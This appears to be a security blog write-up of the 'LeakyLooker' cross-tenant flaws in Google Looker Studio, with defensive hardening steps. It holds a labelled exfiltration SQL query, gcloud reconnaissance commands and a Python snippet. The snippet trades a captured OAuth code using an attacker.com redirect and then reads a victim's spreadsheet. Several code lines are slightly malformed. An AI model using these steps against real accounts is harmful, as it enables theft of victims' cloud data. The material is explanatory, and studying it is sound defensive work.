Listen to this Post
Introduction:
In a groundbreaking revelation, security researcher Liv Matan exposed “LeakyLooker,” a set of nine distinct cross-tenant vulnerabilities within Google Cloud’s Looker Studio (formerly Google Data Studio). These flaws undermined the fundamental tenet of cloud isolation, demonstrating how an attacker could bypass authorization controls to silently execute arbitrary SQL queries on victim databases or manipulate data within Google Sheets. This research highlights the critical risks associated with business intelligence (BI) tools that bridge multiple data sources, turning a visualization platform into a potential attack vector against Google Cloud Platform (GCP) assets.
Learning Objectives:
- Understand the mechanics of cross-tenant vulnerabilities in SaaS platforms like Looker Studio.
- Learn how misconfigurations in OAuth flows and data source connectors can lead to data exfiltration.
- Identify mitigation strategies for securing cloud databases (BigQuery) and collaborative documents (Google Sheets) against such attacks.
You Should Know:
1. Anatomy of the LeakyLooker Attack Surface
The core of the LeakyLooker vulnerabilities lies in how Looker Studio handles “data sources.” When a user creates a report, they add data from underlying services like BigQuery or Google Sheets. Looker Studio brokers access using OAuth 2.0. The discovered flaws allowed a malicious actor to manipulate these connectors. Instead of accessing their own tenant, an attacker could craft a shared report that, when viewed by a victim (0-click) or interacted with (1-click), would execute queries using the victim’s privileged context. This turns the visualization layer into a proxy for attacking the data layer.
To understand the severity, consider a basic reconnaissance command an attacker might run post-compromise to enumerate the victim’s environment if they achieved a foothold via a web application vulnerability, though LeakyLooker bypassed the need for such a foothold entirely.
Linux/macOS Recon Command (Example for context):
If an attacker had shell access, they'd look for credentials, but LeakyLooker needed none. gcloud auth list gcloud config list gcloud projects list
- Exploiting the BigQuery Connector (SQL Injection via Tenant Confusion)
One of the most critical vulnerabilities involved the BigQuery connector. Normally, when a Looker Studio report queries BigQuery, it uses the viewer’s credentials. However, the “LeakyLooker” flaws allowed an attacker to register a malicious data source. By manipulating the parameters passed during the data source creation or report interaction, the attacker could force the victim’s credentials to execute arbitrary SQL on BigQuery datasets accessible to the victim.
Step‑by‑step simulation of the exploit concept:
- Attacker Setup: The attacker creates a custom Looker Studio Community Connector (or exploits a flaw in an existing one) designed to intercept data source definitions.
- Deception: The attacker shares a seemingly benign Looker Studio report with the victim via a link.
- Trigger (0-click): Upon the victim opening the report (or even just viewing it in some cases), the malicious connector requests permissions on behalf of the victim to access their BigQuery data.
- Execution: The attacker-controlled connector executes a SQL query, such as:
-- Malicious query to exfiltrate all table schemas and data from the victim's project SELECT FROM `victim-project-id.dataset.sensitive_table` LIMIT 1000;
- Exfiltration: The results are sent back to the attacker’s server, all while using the victim’s OAuth token and bypassing network-level restrictions.
3. Hardening BigQuery Against Cross-Tenant Threats
To prevent a BI tool from being used as an exfiltration vector, security teams must apply strict access controls at the data layer. This involves moving beyond blanket IAM roles and implementing row-level and column-level security.
Command & Configuration:
You can enforce policies using Google Cloud’s `gcloud` CLI and Data Catalog policies.
Prevent unauthorized access by setting up BigQuery Authorized Views:
1. Create a separate dataset for "safe" views that Looker Studio must use. bq mk --location=US safe_views_dataset <ol> <li>Grant Looker Studio service account access ONLY to this dataset, not the raw data.</li> <li>Within safe_views_dataset, create views that strip PII or limit rows. bq query --use_legacy_sql=false ' CREATE OR REPLACE VIEW `your-project.safe_views_dataset.customer_summary` AS SELECT customer_id, -- OK -- Exclude sensitive columns like 'ssn' or 'credit_card' SUM(purchase_amount) as total_spent FROM `your-project.raw_data.customers` GROUP BY customer_id; '
Analysis: This ensures that even if Looker Studio is compromised, the attacker can only query the pre-sanitized views, not the underlying raw tables.
4. Securing Google Sheets Connectors
The vulnerabilities also extended to Google Sheets, where attackers could potentially modify or steal spreadsheet data. This is particularly dangerous for organizations that use Sheets as lightweight databases for dashboards.
Mitigation Steps for Google Workspace Admins:
- Audit OAuth Scopes: Use the OAuth Token Logs in Google Workspace to audit which third-party apps (like Looker Studio) have been granted access to Sheets.
– Go to Google Admin Console > Security > API Controls > Manage Third-Party App Access.
2. Restrict Access: Limit the ability to share Sheets externally. Create a rule preventing users from installing Looker Studio add-ons that request overly permissive scopes.
3. Data Loss Prevention (DLP): Use Google Workspace DLP rules to scan Sheets for sensitive content (PII, credit cards) and automatically warn or block sharing.
- Simulating the Attack with a Custom Python Script (Proof of Concept Logic)
While the actual exploit chain was complex, understanding the OAuth flow is key. Below is a conceptual Python snippet demonstrating how an attacker might exchange a stolen authorization code (if they could intercept it) for tokens, though LeakyLooker made this unnecessary by abusing the tenant context directly.
WARNING: This is for educational purposes only.
import requests
Hypothetical scenario: Attacker uses a malicious Looker Studio connector to get a 'code'
Step 1: Attacker's server receives the 'code' via a redirect URI.
authorization_code = "4/0AY0e-g7HdV...captured_code"
Step 2: Exchange the code for tokens (this normally happens server-side)
token_url = "https://oauth2.googleapis.com/token"
data = {
"code": authorization_code,
"client_id": "attacker-client-id",
"client_secret": "attacker-client-secret", Stolen or hardcoded in malicious connector
"redirect_uri": "https://attacker.com/oauth2callback",
"grant_type": "authorization_code"
}
response = requests.post(token_url, data=data)
tokens = response.json()
access_token = tokens.get("access_token")
Step 3: Use the token to access the victim's Google Sheets or BigQuery
headers = {"Authorization": f"Bearer {access_token}"}
sheets_data = requests.get(
"https://sheets.googleapis.com/v4/spreadsheets/victim-spreadsheet-id/values/Sheet1",
headers=headers
)
print(sheets_data.text) Data exfiltrated
6. Cross-Tenant Defense in Depth
To defend against “confused deputy” problems like LeakyLooker, organizations must implement a defense-in-depth strategy for their cloud environments.
Windows PowerShell (Azure Context – Similar Principle):
Even in multi-cloud environments, the principle of workload identity is key. Ensure your identity is not over-trusted.
In Azure, you would audit which applications have permissions to read data. This is analogous to checking which OAuth apps can access your data in Google. Connect-AzAccount Get-AzADAppPermission -ObjectId (Get-AzADApplication -DisplayName "Looker Studio Proxy").Id
Command Explanation: This checks the API permissions granted to an application registration, helping you identify if an app has excessive (e.g., Read/Write All Files) permissions that could be exploited.
What Undercode Say:
- The “Connector” is the New Attack Vector: BI tools are no longer passive viewers; they are active bridges to your data. A vulnerability in their connector logic bypasses all network firewalls and directly accesses the database with legitimate user credentials.
- Zero Trust for SaaS: The LeakyLooker research proves that trust boundaries cannot be based on the application name alone. Every request, even from an internal Google service like Looker Studio, must be validated against the identity and the specific tenant context. Google’s remediation likely involved strengthening these tenant checks, a reminder for security architects to audit OAuth flows in their own SaaS integrations rigorously.
Prediction:
This discovery will trigger a wave of security audits focused on “cross-tenant” vulnerabilities in other major BI and collaboration platforms (like Tableau, Power BI, and Notion). Expect cloud providers to harden their internal service-to-service authorization mechanisms, moving away from implicit trust models. Furthermore, we will likely see the emergence of new security tools specifically designed to monitor data access patterns from visualization layers, flagging anomalies where a dashboard is suddenly querying entire database schemas instead of aggregated views.
▶️ Related Video (82% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Liv Matan – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
